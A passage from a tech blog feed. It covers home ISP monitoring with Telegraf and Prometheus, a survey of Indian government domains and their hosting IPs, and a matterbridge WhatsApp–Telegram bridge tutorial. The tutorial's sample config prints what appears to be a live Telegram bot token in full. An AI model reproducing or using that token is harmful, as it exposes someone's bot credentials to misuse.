#F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">}</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 111.097483</span></span></code></pre>
<p>Perfect! Now, we’re all set to configure Prometheus to scrape the metrics from this target. In order to do that you need to add a new <a rel="external" href="https://prometheus.io/docs/concepts/jobs_instances/">Job</a>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> j</span><span style="color: light-dark(#22863A, #8DDB8C);">ob_name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ispmonitor</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">crape_interval</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> 6</span><span style="color: light-dark(#032F62, #96D0FF);">0s</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">tatic_configs</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">argets</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">100.94.241.54:9283</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> RPi telegraf Agent</span></span></code></pre>
<p>In the above config, I am plugging my Tailscale IP assigned to my RPi on the port where Telegraf agent is bound to. This is one of the <strong>many</strong> reasons why Tailscale is so bloody awesome! I can connect different components in my network to each other without setting up any particular firewall rules, exposing ports on a case by case basis.</p>
<p><strong>Sidenote</strong>: If you haven’t read Tailscale’s <strong>amazing</strong> <a rel="external" href="https://tailscale.com/blog/how-nat-traversal-works/">NAT Traversal blog post</a>, do yourself a favour and check it out after you finish reading this one ofcourse!</p>
<p>Anyway, coming back to our Prometheus setup, we can see the metrics being ingested:</p>
<p><img src="https://mrkaran.dev/images/Prometheus-Telegraf-Ingest.png" alt="image" /></p>
<h2 id="show-me-the-graphs">Show me the graphs<a class="zola-anchor" href="#show-me-the-graphs" aria-label="Anchor link for: show-me-the-graphs">#</a></h2>
<p>Now comes the exciting bit – making <strong>pretty</strong> graphs. First, let’s discuss what’s the most important data I can extract out of <code>Ping</code> and <code>DNS</code> plugins. These plugins export decent amount of data, but a good rule of thumb while making dashboards is to optimise signal v/s noise ratio. We’ll do that by filtering out only the metrics that we care for.</p>
<p>Let’s checkout all the metrics exported by <code>Ping</code> plugin:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> curl</span><span style="color: light-dark(#032F62, #96D0FF);"> localhost:9283/metrics</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> ping</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> TYPE</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_average_response_ms untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_maximum_response_ms untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_minimum_response_ms untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_packets_received untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_packets_transmitted untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_percent_packet_loss untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_result_code untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_standard_deviation_ms untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE ping_ttl untyped</span></span></code></pre>
<p>Perfect! So, from the above list of metrics, the most important ones for us are:</p>
<ul>
<li><code>ping_average_response_ms</code>: Avg RTT for a packet</li>
<li><code>ping_maximum_response_ms</code>: Max RTT for a packet</li>
<li><code>ping_percent_packet_loss</code>: % of packets lost on the way</li>
</ul>
<p>With just the above 3 metrics, we can answer questions like:</p>
<ul>
<li><strong>Is my ISP suffering an outage?</strong></li>
</ul>
<p>If yes, <code>ping_percent_packet_loss</code> should be unusually higher than normal. This usually happens when the ISP has routing is borked and that causes the packet to be routed in a less optimized way and as a side effect packet loss becomes one of the key metrics to measure here.</p>
<ul>
<li><strong>Is the upstream down?</strong></li>
</ul>
<p>If yes, <code>ping_average_response_ms</code> over a recent window should be higher than a window compared to a previous time range when things were fine and dandy. This can either mean 2 things: Either your ISP isn’t routing correctly to the said upstream or the CDN/Region where your upstream is faced an outage. This is quite a handy metric for me to monitor!</p>
<p>How many times have your friends complained “<code>xyz.com</code> isn’t working for me” and when you try to load, it’s fine from your end? There are a lot of actors at play but <code>ping</code> is usually the most simple and quickest way to detect whether an issue persists or not. Of course, this doesn’t work for hosts which block ICMP packets altogether. They are not rare either, like <code>netflix.com</code> and <code>github.com</code> both block ICMP probes for example. For my use case, this wasn’t a major issue as I was able to still probe a decent amount of upstreams all over the world.</p>
<p>With that out of the way, let’s break the dashboard into different components and see what goes behind them.</p>
<h3 id="ping-response-panel">Ping Response Panel<a class="zola-anchor" href="#ping-response-panel" aria-label="Anchor link for: ping-response-panel">#</a></h3>
<p><img src="https://mrkaran.dev/images/ping-row-panel3.png" alt="" /></p>
<p>To plot this, simply choose a <code>Stat</code> visualisation with the query <code>ping_average_response_ms{url="$url"}</code>. Repeat this panel for the variable <code>$url</code> and you should be able to generate a nice row view like this.</p>
<p>Additonally you can choose Thresholds and the Unit to be displayed in the panel with these options.</p>
<p><img src="https://mrkaran.dev/images/ping-row-panel1.png" alt="" />
<img src="https://mrkaran.dev/images/ping-row-panel2.png" alt="" /></p>
<h3 id="ping-response-time-graph">Ping Response Time Graph<a class="zola-anchor" href="#ping-response-time-graph" aria-label="Anchor link for: ping-response-time-graph">#</a></h3>
<p>The next graph is interesting, it lets me visualise the avg, min, max ping response time as well as the % packet loss plotted on the Y2 (right Y) axis.</p>
<p><img src="https://mrkaran.dev/images/floyd-ping.png" alt="" /></p>
<h3 id="availability-panel">Availability Panel<a class="zola-anchor" href="#availability-panel" aria-label="Anchor link for: availability-panel">#</a></h3>
<p>An interesting query to calculate uptime (just in the context whether the upstream is reachable) is:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>100 - avg_over_time(ping_percent_packet_loss[2m])</span></span></code></pre>
<p>Since I scrape metrics at an interval of <code>1m</code>(in order to not ping too frequently and disrupt my actual browsing experience), in this query I am averaging the data points for the metric <code>ping_percent_packet_loss</code> in a <code>[2m]</code> window.</p>
<p><img src="https://mrkaran.dev/images/ping-availability.png" alt="" /></p>
<h3 id="dns-response-time-graph">DNS Response Time Graph<a class="zola-anchor" href="#dns-response-time-graph" aria-label="Anchor link for: dns-response-time-graph">#</a></h3>
<p>We can similarly query the DNS response time by visualising the average response time for a DNS query. This might be useful only to people self-hosting their DNS servers.</p>
<p><img src="https://mrkaran.dev/images/telegraf-dns.png" alt="" /></p>
<h2 id="conclusion">Conclusion<a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a></h2>
<p>So with a pretty simple and minimal OSS solution, I was able to setup monitoring for my home network! Over the last few days whenever my ISP had slightest of trouble, I can correlate it with my metrics! I mean I still can’t do anything about it cause the other person on ISP’s customer support is “Did you try rebooting your router” – the quintessential solution to all tech problems. Wish we could reboot this entire damn 2020 as well, but one could hope!</p>
<p>Shoot me for any questions on my Twitter <a rel="external" href="https://twitter.com/mrkaran_">@mrkaran_</a> :)</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Analysing the Indian government cyberspace]]></title>
            <link>https://captnemo.in/blog/2020/09/16/goi-cyberspace/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2020/09/16/goi-cyberspace/</guid>
            <pubDate>Wed, 16 Sep 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[I recently did some work on analysing the Indian government cyberspace, thought I should document them somewhere outside of my Twitter1.
List of GoI websites
I’d made a list of Indian government websites in Jan 2019:
I ran @18F /pulse on Indian Government websites to see how many of them support HTTPS. A quick summary:
Total Websites: 14183
Total Live Websites: 11710 (82%)
Websites with Valid HTTPS: 4753 (40% of all live websites)
Raw Dataset for now: docs.google.com/spreadsheets
— Nemo (@captn3m0) January 15, 2019


The dataset was from 2 sources:
GoI Directory
crt.sh (All certificates ending in .gov.in were used)
I re-ran the scripts to get an updated list (12842 domains), then tabulated them against the public-suffix2 for each. There is a long-tail, and I’ve published results here. Here are the top public suffixes for Indian government sites:
Public Suffix
      Domains
    
nic.in
      2454
    
gov.in
      7259
    
in
      528
    
ac.in
      490
    
com
      568
    
co.in
      171
    
org.in
      168
    
edu.in
      117
    
org
      844
    
res.in
      134
    
net.in
      12
    
net
      38
    
Sanskari Proxy
This was a long standing idea on my ideas repo:
A lot of Indian Government websites are inaccessible on the public internet, because
they geo-fence it to within Indian Boundaries. The idea
is to make a Indian Proxy service that specifically works only for the Geo-fenced Indian government
websites.
For eg, if uidai.gov.in is inaccessible, hitting uidai.gov.sanskariproxy.in will get you
the same result, proxied via our servers.
Since I’d made an updated list of GoI websites, this seemed easy enough. I realized that setting up uidai.gov.sanskariproxy.in would likely count as impersonation under the Indian law,
so I did the next best thing: run an actual proxy. Here’s the announcement tweet:
Are you a security researcher outside India? Do you hate getting geoblocked to Indian government websites?
Well, I made a proxy for security researchers outside India to access Indian government websites without resorting to shady VPNs.
captn3m0/sanskari-proxy
— Nemo (@captn3m0) September 5, 2020


Project page is https://github.com/captn3m0/sanskari-proxy, and if you’d like to get access - please reach out.
Cyberspace Ownership
I’d planned to get a complete list of geoblocked websites next. While I’m progressing on this front, the results have been inconsistent/inaccurate so far. As an intermediate step, I’d made a list of IPs against every domain3, which looked like this:
Domain
      IP Address
    
aavin.tn.gov.in
      164.100.134.148
    
abnhpm.gov.in
      14.143.233.34
    
agnii.gov.in
      13.232.216.65
    
ap.gov.in
      117.254.92.53
    
aponline.gov.in
      125.16.9.130
    
appolice.gov.in
      118.185.110.147
    
attendance.gov.in
      164.100.166.114
    
cgg.gov.in
      112.133.222.115
    
While running numerous nmap scans (and failing), I start checking the ASN4 for some of these IPs to see who was hosting each website - especially the ones I was finding were blocked.
I stumbled upon a bulk IP to ASN service by Cymru, ran all the IPs against it and published the results. Here’s the important graph:

As you can expect, NIC5 has the highest share, with NKN6, BSNL, and CtrlS following at roughly 5% each. There are a few other chart on the twitter thread, and the raw data is available here with interactive versions of each visualization.
What next?
I’m working on running and comparing connectivity scans to these IPs to get a better understanding of the geoblocking situation. There’s also some issues with the domain list, as it seems to be missing lots of domains - so more corrections are needed.
Twitter decided to suspend 12 different accounts I had access to recently - I’m starting to get wary of using Twitter for archival now. ↩
A “public suffix” is one under which Internet users can (or historically could) directly register names. For eg - nic.in or github.io. Mozilla manages the list at https://publicsuffix.org/. ↩
There are issues with this approach, since domains do resolve to multiple IPs. But this is okay for the rudimentary analysis I’ve been doing so far. ↩
Autonomous Systems (AS) is how the internet is sliced up and managed by different entities. Each AS (usually an ISP) is responsible for routing within its network, while announcing network routes on how it can be reached. ↩
The primary government office (under MeitY) that provides infrastructure and support for government IT services. ↩
National Knowledge Network is a multi-gigabit research and education network that provides a high speed network backbone for educational institutions in India. ↩]]></description>
            <content:encoded><![CDATA[<p>I recently did some work on analysing the Indian government cyberspace, thought I should document them somewhere outside of my Twitter<sup id="fnref:9"><a href="#fn:9" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>.</p>

<h2 id="list-of-goi-websites">List of GoI websites</h2>

<p>I’d made a list of Indian government websites in Jan 2019:</p>

<blockquote class="twitter-tweet"><p lang="en" dir="ltr">I ran <a href="https://twitter.com/18F?ref_src=twsrc%5Etfw">@18F</a> /pulse on Indian Government websites to see how many of them support HTTPS. A quick summary:<br /><br />Total Websites: 14183<br />Total Live Websites: 11710 (82%)<br />Websites with Valid HTTPS: 4753 (40% of all live websites)<br /><br />Raw Dataset for now: <a href="https://docs.google.com/spreadsheets/d/16LWWplbSAu-EkWk4R7OVsk8JM6guyZ3yiKdXIzBDT_Q/edit?usp=sharing">docs.google.com/spreadsheets</a></p>&mdash; Nemo (@captn3m0) <a href="https://twitter.com/captn3m0/status/1085050749011161089?ref_src=twsrc%5Etfw">January 15, 2019</a></blockquote>


<p>The dataset was from 2 sources:</p>

<ol>
  <li><a href="http://goidirectory.nic.in/">GoI Directory</a></li>
  <li><a href="https://crt.sh">crt.sh</a> (All certificates ending in <code class="language-plaintext highlighter-rouge">.gov.in</code> were used)</li>
</ol>

<p>I re-ran the scripts to get an updated list (12842 domains), then tabulated them against the public-suffix<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">2</a></sup> for each. There is a long-tail, and I’ve published results <a href="https://gist.github.com/captn3m0/4f3da8f07fe884e62bfab3ac85616936">here</a>. Here are the top public suffixes for Indian government sites:</p>

<table>
  <thead>
    <tr>
      <th>Public Suffix</th>
      <th>Domains</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>nic.in</td>
      <td>2454</td>
    </tr>
    <tr>
      <td>gov.in</td>
      <td>7259</td>
    </tr>
    <tr>
      <td>in</td>
      <td>528</td>
    </tr>
    <tr>
      <td>ac.in</td>
      <td>490</td>
    </tr>
    <tr>
      <td>com</td>
      <td>568</td>
    </tr>
    <tr>
      <td>co.in</td>
      <td>171</td>
    </tr>
    <tr>
      <td>org.in</td>
      <td>168</td>
    </tr>
    <tr>
      <td>edu.in</td>
      <td>117</td>
    </tr>
    <tr>
      <td>org</td>
      <td>844</td>
    </tr>
    <tr>
      <td>res.in</td>
      <td>134</td>
    </tr>
    <tr>
      <td>net.in</td>
      <td>12</td>
    </tr>
    <tr>
      <td>net</td>
      <td>38</td>
    </tr>
  </tbody>
</table>

<h2 id="sanskari-proxy">Sanskari Proxy</h2>

<p>This was a long standing idea on my <a href="https://github.com/captn3m0/ideas">ideas repo</a>:</p>

<blockquote>
  <p>A lot of Indian Government websites are inaccessible on the public internet, because
they geo-fence it to within Indian Boundaries. The idea
is to make a Indian Proxy service that specifically works only for the Geo-fenced Indian government
websites.</p>

  <p>For eg, if <code class="language-plaintext highlighter-rouge">uidai.gov.in</code> is inaccessible, hitting <code class="language-plaintext highlighter-rouge">uidai.gov.sanskariproxy.in</code> will get you
the same result, proxied via our servers.</p>
</blockquote>

<p>Since I’d made an updated list of GoI websites, this seemed easy enough. I realized that setting up <code class="language-plaintext highlighter-rouge">uidai.gov.sanskariproxy.in</code> would likely count as impersonation under the Indian law,
so I did the next best thing: run an actual proxy. Here’s the announcement tweet:</p>

<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Are you a security researcher outside India? Do you hate getting geoblocked to Indian government websites?<br /><br />Well, I made a proxy for security researchers outside India to access Indian government websites without resorting to shady VPNs.<br /><a href="https://github.com/captn3m0/sanskari-proxy">captn3m0/sanskari-proxy</a></p>&mdash; Nemo (@captn3m0) <a href="https://twitter.com/captn3m0/status/1302191390508552192?ref_src=twsrc%5Etfw">September 5, 2020</a></blockquote>


<p>Project page is <a href="https://github.com/captn3m0/sanskari-proxy">https://github.com/captn3m0/sanskari-proxy</a>, and if you’d like to get access - please reach out.</p>

<h2 id="cyberspace-ownership">Cyberspace Ownership</h2>

<p>I’d planned to get a complete list of geoblocked websites next. While I’m progressing on this front, the results have been inconsistent/inaccurate so far. As an intermediate step, I’d made a list of IPs against every domain<sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">3</a></sup>, which looked like this:</p>

<table>
  <thead>
    <tr>
      <th>Domain</th>
      <th>IP Address</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>aavin.tn.gov.in</td>
      <td>164.100.134.148</td>
    </tr>
    <tr>
      <td>abnhpm.gov.in</td>
      <td>14.143.233.34</td>
    </tr>
    <tr>
      <td>agnii.gov.in</td>
      <td>13.232.216.65</td>
    </tr>
    <tr>
      <td>ap.gov.in</td>
      <td>117.254.92.53</td>
    </tr>
    <tr>
      <td>aponline.gov.in</td>
      <td>125.16.9.130</td>
    </tr>
    <tr>
      <td>appolice.gov.in</td>
      <td>118.185.110.147</td>
    </tr>
    <tr>
      <td>attendance.gov.in</td>
      <td>164.100.166.114</td>
    </tr>
    <tr>
      <td>cgg.gov.in</td>
      <td>112.133.222.115</td>
    </tr>
  </tbody>
</table>

<p>While running numerous nmap scans (and failing), I start checking the <abbr title="Autonomous System Number"><a href="https://en.wikipedia.org/wiki/Autonomous_system_(Internet)">ASN</a></abbr><sup id="fnref:asn"><a href="#fn:asn" class="footnote" rel="footnote" role="doc-noteref">4</a></sup> for some of these IPs to see who was hosting each website - especially the ones I was finding were blocked.</p>

<p>I stumbled upon a bulk <a href="https://team-cymru.com/community-services/ip-asn-mapping/">IP to ASN service</a> by Cymru, ran all the IPs against it and published the results. Here’s the important graph:</p>

<p><img src="https://captnemo.in/img/domain-by-asn.png" alt="% of Indian Government domains hosted by each ASN. The image is a pie-chart representation showing share of each ASN. 45% of the chart is taken up by " /></p>

<p>As you can expect, <abbr title="National Informatics Centre">NIC</abbr><sup id="fnref:nic"><a href="#fn:nic" class="footnote" rel="footnote" role="doc-noteref">5</a></sup> has the highest share, with <abbr title="National Knowledge Network">NKN</abbr><sup id="fnref:nkn"><a href="#fn:nkn" class="footnote" rel="footnote" role="doc-noteref">6</a></sup>, BSNL, and <a href="https://www.ctrls.in/">CtrlS</a> following at roughly 5% each. There are a few other chart on <a href="https://twitter.com/captn3m0/status/1303683006276620288">the twitter thread</a>, and the raw data is available <a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vRFcjIsqE13A7FaRID_z_ETFtGNdpznx4VcFfmEzJGjHBx-oT-urp60C9BZZK7Umc9f5QX0Z4Yd3Vja/pubhtml#">here</a> with interactive versions of each visualization.</p>

<h2 id="what-next">What next?</h2>

<p>I’m working on running and comparing connectivity scans to these IPs to get a better understanding of the geoblocking situation. There’s also some issues with the domain list, as it seems to be missing lots of domains - so more corrections are needed.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:9">
      <p>Twitter decided to suspend 12 different accounts I had access to recently - I’m starting to get wary of using Twitter for archival now. <a href="#fnref:9" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:1">
      <p>A “public suffix” is one under which Internet users can (or historically could) directly register names. For eg - <code class="language-plaintext highlighter-rouge">nic.in</code> or <code class="language-plaintext highlighter-rouge">github.io</code>. Mozilla manages the list at <a href="https://publicsuffix.org/">https://publicsuffix.org/</a>. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2">
      <p>There are issues with this approach, since domains do resolve to multiple IPs. But this is okay for the rudimentary analysis I’ve been doing so far. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:asn">
      <p>Autonomous Systems (AS) is how the internet is sliced up and managed by different entities. Each AS (usually an ISP) is responsible for routing within its network, while announcing network routes on how it can be reached. <a href="#fnref:asn" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:nic">
      <p>The primary government office (under <abbr title="Ministry of Electronics and Information Technology">MeitY</abbr>) that provides infrastructure and support for government IT services. <a href="#fnref:nic" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:nkn">
      <p>National Knowledge Network is a multi-gigabit research and education network that provides a high speed network backbone for educational institutions in India. <a href="#fnref:nkn" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Setting up WhatsApp Telegram Bridge Using Matterbridge 2020]]></title>
            <link>https://ibcomputing.com/setting-up-whatsapp-telegram-bridge-using-matterbridge-2020/</link>
            <guid isPermaLink="false">https://ibcomputing.com/setting-up-whatsapp-telegram-bridge-using-matterbridge-2020/</guid>
            <pubDate>Fri, 11 Sep 2020 14:12:49 GMT</pubDate>
            <description><![CDATA[Two years ago I wrote an article about bridging WhatsApp and Telegram groups together. But that solution isn’t working anymore. So I figured out another … 
The post Setting up WhatsApp Telegram Bridge Using Matterbridge 2020 appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<p>Two years ago I wrote an <a href="https://ibcomputing.com/whatsapp-telegram-bridge/" data-wpel-link="internal">article</a> about bridging WhatsApp and Telegram groups together. But that solution isn&#8217;t working anymore. So I figured out another method using WhatsApp web. The brdiging software we are going to use for this is called <a href="https://github.com/42wim/matterbridge" data-wpel-link="external" target="_blank" rel="follow external noopener">matterbridge</a>. the software we use is matterbrige. This bridge is not only for Whatsapp and Telegram but for So many messaging protocols.</p>
<h4>Natively supported apps</h4>
<ul>
<li>Discord</li>
<li>Gitter</li>
<li>IRC</li>
<li>Keybase</li>
<li>Matrix</li>
<li>Mattermost 4.x, 5.x</li>
<li>Microsoft Teams</li>
<li>Nextcloud Talk</li>
<li>Rocket.chat</li>
<li>Slack</li>
<li>Ssh-chat</li>
<li>Steam</li>
<li>Telegram</li>
<li>Twitch</li>
<li>WhatsApp</li>
<li>XMPP</li>
<li>Zulip</li>
</ul>
<p>The whatsapp linking part is based on <a href="https://github.com/Rhymen/go-whatsapp" data-wpel-link="external" target="_blank" rel="follow external noopener">go-whatsapp</a> which is a Go version of  <a href="https://github.com/sigalor/whatsapp-web-reveng" data-wpel-link="external" target="_blank" rel="follow external noopener">whatsapp-web-reveng. </a></p>
<p>I think that&#8217;s enough for the intro, let&#8217;s get back to the main point <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h4>Install and Run</h4>
<p>Download the latest version from <a href="https://github.com/42wim/matterbridge/releases/latest" data-wpel-link="external" target="_blank" rel="follow external noopener">here</a><br />
select the required package. im using linux for this tutorial so i select matterbridge-1.18.3-linux-64bit (this version will change)<br />
then move to the Configuration part</p>
<h5>Step 1</h5>
<p>Create an empty <code>matterbridge.toml</code> file inside a folder contains downloaded matterbridge binary file.</p>
<h5>Step 2</h5>
<p>Copy the following contents to the newly created <code>matterbridge.toml</code> file:</p>
<pre>[telegram.mytelegram]
#See https://core.telegram.org/bots#6-botfather 
#and https://www.linkedin.com/pulse/telegram-bots-beginners-marco-frau
Token="Yourtokenhere"
RemoteNickFormat="({PROTOCOL}) &amp;lt;{NICK}&amp;gt; "
MessageFormat="HTMLNick"

[whatsapp.mywhatsapp]
# Number you will use as a relay bot. Tip: Get some disposable sim card, don't rely on 
# your own number.
Number="+48111222333"

# First time that you login you will need to scan QR code, then credentials will be saved in 
# a session file. 
# If you won't set SessionFile then you will need to scan QR code on every restart.
# optional (by default the session is stored only in memory, till restarting matterbridge)
SessionFile="session-48111222333.gob"

# If your terminal is white we need to invert QR code in order for it to be scanned properly
# optional (default false)
QrOnWhiteTerminal=false

# Messages will be seen by other WhatsApp contacts as coming from the bridge. 
# Original nick will be part of the message.
RemoteNickFormat="[{PROTOCOL}] @{NICK}: "</pre>
<h5>Step 3</h5>
<p>Change the Token and Server keys above to yours. For more details you may watch this video.</p>
<div class="jetpack-video-wrapper"><iframe loading="lazy" class="youtube-player" width="1200" height="675" src="https://www.youtube.com/embed/W-VXISoKtNc?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=en-US&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox"></iframe></div>
<p>In Telegram, go to botfather and create a bot and paste the token as <code>Token="Yourtokenhere"</code><br />
Enter your whatsapp number as <code>Number="+48111222333"</code></p>
<h5>Step 4</h5>
<p>Add the gateway configuration to your config file.</p>
<pre>[[gateway]]
name="gateway1"
enable=true

[[gateway.inout]]
account="whatsapp.mywhatsapp"
channel="xxxxxx@g.us"

[[gateway.inout]]
account="telegram.mytelegram"
channel="-xxxxx"</pre>
<h5>Step 5</h5>
<p>Now your configuration file should look like this:</p>
<pre>[telegram.mytelegram]
#See https://core.telegram.org/bots#6-botfather 
#and https://www.linkedin.com/pulse/telegram-bots-beginners-marco-frau
Token="1279548291:AAFg3s7F-JQlQQlucSBf3PGwyOss2Vog0J4"
RemoteNickFormat="({PROTOCOL}) &amp;lt;{NICK}&amp;gt; "
MessageFormat="HTMLNick"

[whatsapp.mywhatsapp]
# Number you will use as a relay bot. Tip: Get some disposable sim card, don't rely on 
# your own number.
Number="+48111222333"

# First time that you login you will need to scan QR code, then credentials will be saved in 
# a session file. 
# If you won't set SessionFile then you will need to scan QR code on every restart.
# optional (by default the session is stored only in memory, till restarting matterbridge)
SessionFile="session-48111222333.gob"

# If your terminal is white we need to invert QR code in order for it to be scanned properly
# optional (default false)
QrOnWhiteTerminal=false

# Messages will be seen by other WhatsApp contacts as coming from the bridge. 
# Original nick will be part of the message.
RemoteNickFormat="[{PROTOCOL}] @{NICK}: "

[[gateway]]
name="gateway1"
enable=true

[[gateway.inout]]
account="whatsapp.mywhatsapp"
channel="xxx-xxx.@g.us"

[[gateway.inout]]
account="telegram.mytelegram"
channel="-xxxx"</pre>
<h5>Step 6</h5>
<p>Find channel ID for Telegram and WhatsApp. Finding Telegram group ID is relatively easy.  You can use the Telegram bot API to get the group ID. But I&#8217;m taking a simple shortcut here.  Adding another bot to retrieve group ID, which is <code>@tchncs_bot</code>. This is a bot that bridges Matrix and Telegram groups. Just add the bot and sending the message <code>/id</code> (including the forward slash, which makes the message a command) will return the group ID.</p>
<p>Unlike in Telegram&#8217;s case, finding channel name in WhatsApp isn&#8217;t that easy. I couldn&#8217;t find any easier method from matterbridge documentation as well. So enter your WhatsApp group name there and run the bridge (Warning: you will definitely get an error!)</p>
<h5>Step 7</h5>
<p>Run it with the following command (change the version number if you are using later version)<br />
<code>./matterbridge-1.18.3-linux-64bit -conf matterbridge.toml</code></p>
<p>Now you can see a QR code in terminal. If it is too big that you weren&#8217;t able to scan it, then zoom in the terminal and try again. Then scan the QR code with WhatsApp web option from your mobile phone. Now your WhatsApp web is connected with the matterbridge. Next step is to identify the channel name for WhatsApp. By checking the terminal output you can see your group name and a number that ends with <code>@g.us</code>. Copy that and paste it in the channel part of WhatsApp and run again. Now your bridge is ready and it will start working. You can also share image, files and audios using this bridge. If you want to bridge multiple groups the gateway part can be changed to</p>
<pre>[[gateway]]
name="gateway1"
enable=true

[[gateway.inout]]
account="whatsapp.mywhatsapp"
channel="xxxx-xxxx@g.us"

[[gateway.inout]]
account="telegram.mytelegram"
channel="-xxxx"

[[gateway]]
name="gateway2"
enable=true

[[gateway.inout]]
account="whatsapp.mywhatsapp"
channel="xxx-xxxx@g.us"

[[gateway.inout]]
account="telegram.mytelegram"
channel="-xxxx"</pre>
<p>&nbsp;</p>
<h4>Drawbacks</h4>
<p>This brdige reies on WhatsApp web. So if you have to make this solution work, you should be online on both mobile as well as on WhatsApp web all the time. Other solution you could try is to run any emulator on server. Also, the matterbridge should be running all the time. So you have to choose a server for that. <a href="https://app.cloudcone.com/?ref=7591" data-wpel-link="external" target="_blank" rel="follow external noopener">Cloudcone</a> provides low cost servers with good quality. You can use <a href="https://app.cloudcone.com/?ref=7591" data-wpel-link="external" target="_blank" rel="follow external noopener">this link</a> to using cloudcone.</p>
<p>The post <a href="https://ibcomputing.com/setting-up-whatsapp-telegram-bridge-using-matterbridge-2020/" data-wpel-link="internal">Setting up WhatsApp Telegram Bridge Using Matterbridge 2020</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>Android</category>
            <category>Telegram</category>
            <category>Tutorials</category>
        </item>
        <item>
            <title><![CDATA[The game breaking Deal Breaker card]]></title>
            <link>https://captnemo.in/monopoly-deal/</link>
            <guid isPermaLink="false">https://captnemo.in/monopoly-deal/</guid>
            <pubDate>Wed, 24 Jun 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[I have a presentation I sometimes give about Monopoly being a terrible game1.
I usually end it by pointing the audience to Monopoly Deal, which I introduce it as
“the only Monopoly edition you can enjoy”.
